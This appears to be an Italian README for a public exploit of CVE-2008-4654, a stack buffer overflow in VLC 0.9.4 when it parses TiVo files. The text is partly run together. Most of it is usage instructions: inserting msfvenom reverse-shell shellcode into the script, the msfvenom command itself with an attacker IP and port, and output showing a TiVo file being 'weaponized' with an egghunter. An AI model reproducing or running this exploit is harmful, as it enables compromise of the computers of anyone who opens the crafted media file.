
Un exploit completamente funzionante per una vulnerabilità di buffer overflow basato su stack in VideoLan’s VLC Media Player 0.9.4 durante l'elaborazione di file TiVo.
Un exploit completamente funzionante per la vulnerabilità di buffer overflow basato su stack CVE-2008-4654 nel VLC Media Player 0.9.4 di VideoLan durante l'elaborazione dei file TiVo. Prende di mira un binario a 32 bit in esecuzione su un sistema Windows a 64 bit e utilizza un egghunter WOW64 per aggirare lo spazio di stack limitato.
Aggiorna lo script:
buf = b'[...]' nello script con il tuo shellcode (ad es. da msfvenom).EGG_HUNTER_WOW64 se desideri un tag diverso o hai un egghunter personalizzato.python .\CVE-2008-4654.py --help
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT
Transform a given TiVo file into a weapon with predefined shellcode.
options:
-h, --help show this help message and exit
--input INPUT Path to the input TiVo file to be weaponized.
--output OUTPUT Path where the modified (weaponized) TiVo file will be saved.
TIVO_PES_FILEID) nel file TiVo.b"\x00\x00\x00\xff", che prepara la lettura fuori dai limiti che porta a un overflow dello stack.TIVO_PES_FILEID) con un payload personalizzato.w00tw00t.msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'
buf = b'[...]' con lo shellcode creato in precedenza.PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty